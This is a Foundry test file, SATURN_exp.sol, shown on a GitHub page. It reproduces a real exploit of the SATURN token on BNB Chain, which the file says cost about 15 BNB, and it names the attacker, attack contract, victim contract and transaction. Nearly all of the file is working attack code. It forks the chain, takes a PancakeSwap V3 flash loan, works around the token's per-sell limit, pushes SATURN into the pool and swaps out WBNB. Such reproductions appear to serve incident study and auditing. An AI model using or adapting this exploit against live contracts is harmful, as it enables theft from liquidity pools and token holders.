-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
SATURN_exp.sol
130 lines (99 loc) · 5.3 KB
/
SATURN_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~15 BNB
// Attacker : 0xc468D9A3a5557BfF457586438c130E3AFbeC2ff9
// Attack Contract : 0xfcECDBC62DEe7233E1c831D06653b5bEa7845FcC
// Vulnerable Contract : 0x9BDF251435cBC6774c7796632e9C80B233055b93
// Attack Tx : https://bscscan.com/tx/0x948132f219c0a1adbffbee5d9dc63bec676dd69341a6eca23790632cb9475312
// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x9BDF251435cBC6774c7796632e9C80B233055b93#code
contract ContractTest is Test {
address public attacker = address(this);
address public SATURN_creater = 0xc8Ce1ecDfb7be4c5a661DEb6C1664Ab98df3Cd62;
address internal holderOfToken = 0xfcECDBC62DEe7233E1c831D06653b5bEa7845FcC;
Uni_Pair_V3 pancakeV3Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
IPancakePair pair_WBNB_SATURN = IPancakePair(0x49BA6c20D3e95374fc1b19D537884b5595AA6124);
IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
IERC20 constant SATURN = IERC20(0x9BDF251435cBC6774c7796632e9C80B233055b93);
IERC20 constant BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
uint256 flashAmt = 3300 ether;
uint256 finalSaturnSellAmt = 228_832_951_945_080_091_523_153;
modifier balanceLog() {
emit log_named_decimal_uint("Attacker WBNB Balance Before exploit", WBNB.balanceOf(address(this)), 18);
_;
emit log_named_decimal_uint("Attacker WBNB Balance After exploit", WBNB.balanceOf(address(this)), 18);
}
function setUp() public {
vm.createSelectFork("bsc", 38_488_209 - 1);
vm.label(address(SATURN), "SATURN");
vm.label(address(WBNB), "WBNB");
vm.label(address(router), "PancakeSwap Router");
vm.label(address(pair_WBNB_SATURN), "pair_WBNB_SATURN");
vm.label(address(pancakeV3Pool), "pancakeV3Pool");
}
function approveAll() public {
SATURN.approve(address(router), type(uint256).max);
WBNB.approve(address(router), type(uint256).max);
}
function EnableSwitch(bool state) internal {
vm.prank(SATURN_creater);
address(SATURN).call(abi.encodeWithSignature("setEnableSwitch(bool)", state));
}
function testExploit() public balanceLog {
approveAll();
// init saturn token
EnableSwitch(false);
vm.startPrank(holderOfToken);
SATURN.transfer(attacker, SATURN.balanceOf(holderOfToken));
vm.stopPrank();
EnableSwitch(true);
// start attack
pancakeV3Pool.flash(attacker, 0, flashAmt, bytes(""));
}
function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
// Get the everyTimeSellLimitAmount from the SATURN contract
uint256 limit = getEveryTimeSellLimitAmount();
// Get the current balance of SATURN in the pair_WBNB_SATURN pool
uint256 amount = SATURN.balanceOf(address(pair_WBNB_SATURN));
// Define the swap paths
address[] memory buyPath = getPath(address(WBNB), address(SATURN));
address[] memory sellPath = getPath(address(SATURN), address(WBNB));
// Calculate the amount of WBNB needed to swap for SATURN
uint256[] memory amounts = router.getAmountsIn(amount - limit, buyPath);
// Swap WBNB for SATURN and send the SATURN to the SATURN_creater
swapExactTokensForTokens(amounts[0], buyPath);
// Update the amount of SATURN in the pair_WBNB_SATURN pool
amount = SATURN.balanceOf(address(pair_WBNB_SATURN));
// Move the block number forward by 1
vm.roll(block.number + 1);
// Transfer a specific amount of SATURN to the pair_WBNB_SATURN pool
SATURN.transfer(address(pair_WBNB_SATURN), finalSaturnSellAmt);
// Get the current reserves of SATURN and WBNB in the pair_WBNB_SATURN pool
(uint256 SATURN_reserve, uint256 WBNB_reserve,) = pair_WBNB_SATURN.getReserves();
// Update the amount of SATURN in the pair_WBNB_SATURN pool
amount = SATURN.balanceOf(address(pair_WBNB_SATURN));
// Calculate the amount of WBNB that will be received when swapping SATURN
amounts = router.getAmountsOut(amount - SATURN_reserve, sellPath);
// Perform the swap in the pair_WBNB_SATURN pool and send the WBNB to the attacker
pair_WBNB_SATURN.swap(0, amounts[1], attacker, bytes(""));
// Transfer WBNB to the pancakeV3Pool, including the fee
WBNB.transfer(address(pancakeV3Pool), flashAmt + fee1);
}
function getEveryTimeSellLimitAmount() internal returns (uint256) {
(, bytes memory result) = address(SATURN).call(abi.encodeWithSignature("everyTimeSellLimitAmount()"));
return abi.decode(result, (uint256));
}
function swapExactTokensForTokens(uint256 amountIn, address[] memory path) internal {
router.swapExactTokensForTokens(amountIn, 0, path, SATURN_creater, type(uint256).max);
}
function getPath(address token0, address token1) internal pure returns (address[] memory) {
address[] memory path = new address[](2);
path[0] = token0;
path[1] = token1;
return path;
}
fallback() external payable {}
}